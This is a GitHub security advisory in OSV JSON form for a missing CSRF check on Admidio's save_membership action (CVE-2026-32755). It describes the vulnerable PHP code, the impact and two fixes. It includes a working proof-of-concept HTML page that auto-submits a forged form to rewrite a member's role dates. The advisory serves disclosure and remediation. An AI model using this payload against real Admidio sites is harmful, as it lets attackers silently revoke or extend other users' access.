{"id":"GHSA-h8gr-qwr6-m9gx","summary":"Admidio is Missing CSRF Protection on Role Membership Date Changes","details":"## Summary\n\nThe `save_membership` action in `modules/profile/profile_function.php` saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks `stop_membership` and `remove_former_membership` against the CSRF token but omits `save_membership` from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads.\n\n## Details\n\n### CSRF Check Is Absent for save_membership\n\nFile: `D:/bugcrowd/admidio/repo/modules/profile/profile_function.php`, lines 40-42\n\nThe CSRF guard covers only two of the three mutative modes:\n\n```php\nif (in_array($getMode, array('stop_membership', 'remove_former_membership'))) {\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n}\n```\n\nThe `save_membership` mode is missing from this array. The handler then proceeds to read dates from `$_POST` and update the database without any token verification:\n\n```php\n} elseif ($getMode === 'save_membership') {\n    $postMembershipStart = admFuncVariableIsValid($_POST, 'adm_membership_start_date', 'date', array('requireValue' =\u003e true));\n    $postMembershipEnd   = admFuncVariableIsValid($_POST, 'adm_membership_end_date',   'date', array('requireValue' =\u003e true));\n\n    $member = new Membership($gDb);\n    $member-\u003ereadDataByUuid($getMemberUuid);\n    $role = new Role($gDb, (int)$member-\u003egetValue('mem_rol_id'));\n\n    // check if user has the right to edit this membership\n    if (!$role-\u003eallowedToAssignMembers($gCurrentUser)) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n    // ... validates dates ...\n    $role-\u003esetMembership($user-\u003egetValue('usr_id'), $postMembershipStart, $postMembershipEnd, ...);\n    echo 'success';\n}\n```\n\nFile: `D:/bugcrowd/admidio/repo/modules/profile/profile_function.php`, lines 131-169\n\n### The Form Does Generate a CSRF Token (Not Validated)\n\nFile: `D:/bugcrowd/admidio/repo/modules/profile/roles_functions.php`, lines 218-241\n\nThe membership date form is created via `FormPresenter`, which automatically injects an `adm_csrf_token` hidden field into every form. However, the server-side `save_membership` handler never retrieves or validates this token. An attacker's forged form does not need to include the token at all, since the server does not check it.\n\n### Who Can Be Exploited as the CSRF Victim\n\nFile: `D:/bugcrowd/admidio/repo/src/Roles/Entity/Role.php`, lines 98-121\n\nThe `allowedToAssignMembers()` check grants write access to:\n- Any user who is `isAdministratorRoles()` (role administrators), or\n- Any user who is a leader of the target role when the role has `rol_leader_rights` set to `ROLE_LEADER_MEMBERS_ASSIGN` or `ROLE_LEADER_MEMBERS_ASSIGN_EDIT`\n\nRole leaders are not system administrators. They are regular members who have been designated as group leaders (e.g., a sports team captain or committee chair). This represents a low-privilege attack surface.\n\n### UUIDs Are Discoverable from HTML Source\n\nThe save URL for the membership date form is embedded in the profile page HTML:\n\n```\n/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=\u003cUUID\u003e&member_uuid=\u003cUUID\u003e\n```\n\nAny authenticated member who can view a profile page can extract both UUIDs from the page source.\n\n## PoC\n\nThe attacker hosts the following HTML page and tricks a role leader into visiting it while logged in to Admidio:\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody onload=\"document.getElementById('csrf_form').submit()\"\u003e\n  \u003cform id=\"csrf_form\"\n        method=\"POST\"\n        action=\"https://TARGET/adm_program/modules/profile/profile_function.php?mode=save_membership&user_uuid=\u003cVICTIM_USER_UUID\u003e&member_uuid=\u003cMEMBERSHIP_UUID\u003e\"\u003e\n    \u003cinput type=\"hidden\" name=\"adm_membership_start_date\" value=\"2000-01-01\"\u003e\n    \u003cinput type=\"hidden\" name=\"adm_membership_end_date\"   value=\"2000-01-02\"\u003e\n  \u003c/form\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nExpected result: The target member's role membership dates are overwritten to 2000-01-01 through 2000-01-02, effectively terminating their active membership immediately (end date is in the past).\n\nNote: No `adm_csrf_token` field is required because the server does not validate it for `save_membership`.\n\n## Impact\n\n- **Unauthorized membership date manipulation:** A role leader's session can be silently exploited to change start and end dates for any member of roles they lead. Setting the end date to a past date immediately terminates the member's active participation.\n- **Effective access revocation:** Membership in roles controls access to role-restricted features (events visible only to role members, document folders with upload rights, and mailing list memberships). Revoking membership via CSRF removes these access rights.\n- **Covert escalation:** An attacker could also extend a restricted membership period beyond its authorized end date, maintaining access for a user who should have been deactivated.\n- **No administrative approval required:** The impact occurs silently on the victim's session with no confirmation dialog or notification email.\n\n## Recommended Fix\n\n### Fix 1: Add `save_membership` to the existing CSRF validation check\n\n```php\n// File: modules/profile/profile_function.php, lines 40-42\nif (in_array($getMode, array('stop_membership', 'remove_former_membership', 'save_membership'))) {\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n}\n```\n\n### Fix 2: Use the form-object validation pattern (consistent with other write endpoints)\n\n```php\n} elseif ($getMode === 'save_membership') {\n    // Validate CSRF via form object (consistent pattern used by DocumentsService, etc.)\n    $membershipForm = $gCurrentSession-\u003egetFormObject($_POST['adm_csrf_token']);\n    $formValues = $membershipForm-\u003evalidate($_POST);\n\n    $postMembershipStart = $formValues['adm_membership_start_date'];\n    $postMembershipEnd   = $formValues['adm_membership_end_date'];\n    // ... rest of save logic unchanged\n}\n```","aliases":["CVE-2026-32755"],"modified":"2026-03-20T21:33:53.657670Z","published":"2026-03-16T21:17:34Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-03-16T21:17:34Z","nvd_published_at":"2026-03-19T23:16:44Z","cwe_ids":["CWE-352"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/Admidio/admidio/security/advisories/GHSA-h8gr-qwr6-m9gx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32755"},{"type":"PACKAGE","url":"https://github.com/Admidio/admidio"},{"type":"WEB","url":"https://github.com/Admidio/admidio/releases/tag/v5.0.7"}],"affected":[{"package":{"name":"admidio/admidio","ecosystem":"Packagist","purl":"pkg:composer/admidio/admidio"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.0.7"}]}],"versions":["4.1.0","4.1.3","v4.2-Beta.1","v4.2-Beta.2","v4.2-Beta.3","v4.2.0","v4.2.1","v4.2.10","v4.2.11","v4.2.12","v4.2.13","v4.2.14","v4.2.2","v4.2.3","v4.2.4","v4.2.5","v4.2.6","v4.2.7","v4.2.8","v4.2.9","v4.3-Beta.1","v4.3-Beta.3","v4.3-Beta.4","v4.3-Beta.5","v4.3.0","v4.3.1","v4.3.10","v4.3.11","v4.3.12","v4.3.13","v4.3.14","v4.3.15","v4.3.16","v4.3.17","v4.3.2","v4.3.3","v4.3.4","v4.3.5","v4.3.6","v4.3.7","v4.3.8","v4.3.9","v5.0-Beta.1","v5.0-Beta.2","v5.0-Beta.3","v5.0.0","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.0.5","v5.0.6"],"database_specific":{"last_known_affected_version_range":"\u003c= 5.0.6","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-h8gr-qwr6-m9gx/GHSA-h8gr-qwr6-m9gx.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N"}]}